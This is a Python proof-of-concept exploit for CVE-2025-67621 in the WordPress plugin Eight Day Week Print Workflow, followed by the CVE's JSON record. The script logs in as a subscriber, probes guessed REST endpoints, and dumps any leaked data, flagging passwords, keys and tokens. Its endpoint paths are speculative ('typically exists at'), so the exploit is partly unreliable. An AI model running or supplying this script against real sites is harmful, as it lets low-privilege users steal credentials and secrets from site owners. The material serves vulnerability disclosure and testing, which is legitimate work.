CVE-2025-67621

# CVE-2025-67621 PoC - Eight Day Week Print Workflow Sensitive Data Exposure # Target: WordPress site with Eight Day Week Print Workflow plugin <= 1.2.5 # Author: Security Researcher # Date: 2025-12-24 import requests import json import sys from urllib.parse import urljoin def exploit_cve_2025_67621(target_url, username, password): """ Exploit for CVE-2025-67621 - Sensitive Information Exposure This PoC demonstrates how a low-privilege user can access sensitive data through the vulnerable plugin endpoint. """ session = requests.Session() # Step 1: Login with low-privilege account (subscriber role) login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting login as low-privilege user: {username}") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed. Please check credentials.") return False print("[+] Login successful!") # Step 2: Access the vulnerable endpoint to retrieve sensitive data # The vulnerable endpoint typically exists at /wp-json/eight-day-week/v1/ vulnerable_endpoints = [ '/wp-json/eight-day-week/v1/print-workflow/data', '/wp-json/eight-day-week/v1/export/settings', '/wp-json/eight-day-week/v1/debug/info', '/?rest_route=/eight-day-week/v1/config' ] print("[*] Attempting to access vulnerable endpoints...") for endpoint in vulnerable_endpoints: full_url = urljoin(target_url, endpoint) try: response = session.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response status: {response.status_code}") # Check if response contains sensitive information try: data = response.json() print(f"[+] Leaked data:\n{json.dumps(data, indent=2)}") # Check for sensitive keywords sensitive_keywords = ['password', 'secret', 'key', 'token', 'db_', 'AUTH'] for keyword in sensitive_keywords: if keyword.lower() in json.dumps(data).lower(): print(f"[!] WARNING: Sensitive data detected containing '{keyword}'") return True except json.JSONDecodeError: print(f"[*] Non-JSON response from {endpoint}") print(f"[*] Content preview: {response.text[:500]}") elif response.status_code == 401: print(f"[-] Endpoint requires authentication: {endpoint}") else: print(f"[*] Endpoint returned status {response.status_code}: {endpoint}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[-] No vulnerable endpoints accessible with current privileges.") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-67621.py <target_url> <username> <password>") print("Example: python cve-2025-67621.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_67621(target, user, pwd) # Remediation: # Upgrade to Eight Day Week Print Workflow version 1.2.6 or later # https://wordpress.org/plugins/eight-day-week-print-workflow/

{"cve": {"id": "CVE-2025-67621", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:18.317", "lastModified": "2026-04-27T18:16:46.403", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in 10up Eight Day Week Print Workflow eight-day-week-print-workflow allows Retrieve Embedded Sensitive Data.This issue affects Eight Day Week Print Workflow: from n/a through <= 1.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/eight-day-week-print-workflow/vulnerability/wordpress-eight-day-week-print-workflow-plugin-1-2-5-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}